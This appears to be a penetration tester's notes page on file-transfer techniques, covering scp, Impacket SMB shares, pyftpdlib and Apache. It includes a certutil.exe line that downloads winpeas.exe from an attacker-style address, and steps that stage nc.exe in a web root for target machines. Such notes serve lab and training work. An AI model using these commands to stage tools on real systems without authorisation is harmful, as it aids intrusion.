# File Transferring

## SSH (scp)

```
scp <source> <destination>
scp /path/to/file username@server:/path/to/destination
scp username@server:/path/to/file /path/to/local/destination
```

## certutil.exe (command prompt)

```batch
certutil.exe -urlcache -split -f "http://10.10.14.11/winpeas.exe" winpeas.exe
```

## SMB

### Impacket SMB Server

Impacket's smbserver functionality can create a smb share

```bash
python /user/share/doc/python-impacket/examples/smbserver.py share-name root-dir
```

Best to create one like the following:

{% code overflow="wrap" %}

```bash
impacket-smbserver FileShare $(pwd) -smb2support -user ippsec -password SupportMeOnPatreon
```

{% endcode %}

#### Connect To Share from Windows PowerShell

{% code overflow="wrap" %}

```powershell
$pass = convertto-securestring 'SupportMeOnPatreon' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('ippsec', $pass)
New-PSDrive -Name ippsec -PSProvider FileSystem -Credential $cred -Root \\<local-ip>\<share_name>
```

{% endcode %}

#### Connect to share from Windows Command Shell

```batch
net use s: \\10.10.14.11\FileShare
dir s:
```

Impacket's SMB share, can test connection from windows using:

```
net view \\ip-addr
```

list files in share with

```
dir \\ip-addr\share-name
```

Impacket SMB Server requires SMB1 be enabled.  If you have administrative privileges you can enable SMB1 using the following command:

```
DISM /Online /Enable-Feature /All /FeatureName:SMB1Protocol 
```

You can also go through the GUI Control Panel.

## FTP

### pyftpdlib

install the package on your machine with&#x20;

```bash
apt-get install python-pyftpdlib
```

Start the server with

```bash
python -m pyftpdlib [-p port] [-w for anonymous write]
```

default port used is 2121

## HTTP

### Apache2

```
kali@kali:~$ sudo systemctl start apache2
[sudo] password for kali: 

kali@kali:~$
```

The web root for our apache server will be /var/www/html

```
kali@kali:~$ find / -name nc.exe 2>/dev/null
/usr/share/windows-resources/binaries/nc.exe

kali@kali:~$ sudo cp /usr/share/windows-resources/binaries/nc.exe /var/www/html/
```

You can check to make sure a request went through by checking the access.log file:<br>

```bash
┌[parrot]─[11:37-17/11]─[/home/harutomo/offsec/port-redirection-and-ssh-tunneling]
└╼harutomo@192.168.45.221[💻]$ sudo tail -f /var/log/apache2/access.log
```

### Python3 Http.Server

## Netcat

{% embed url="<https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/>" %}

Great resource for file transferring methods:

{% embed url="<https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65>" %}
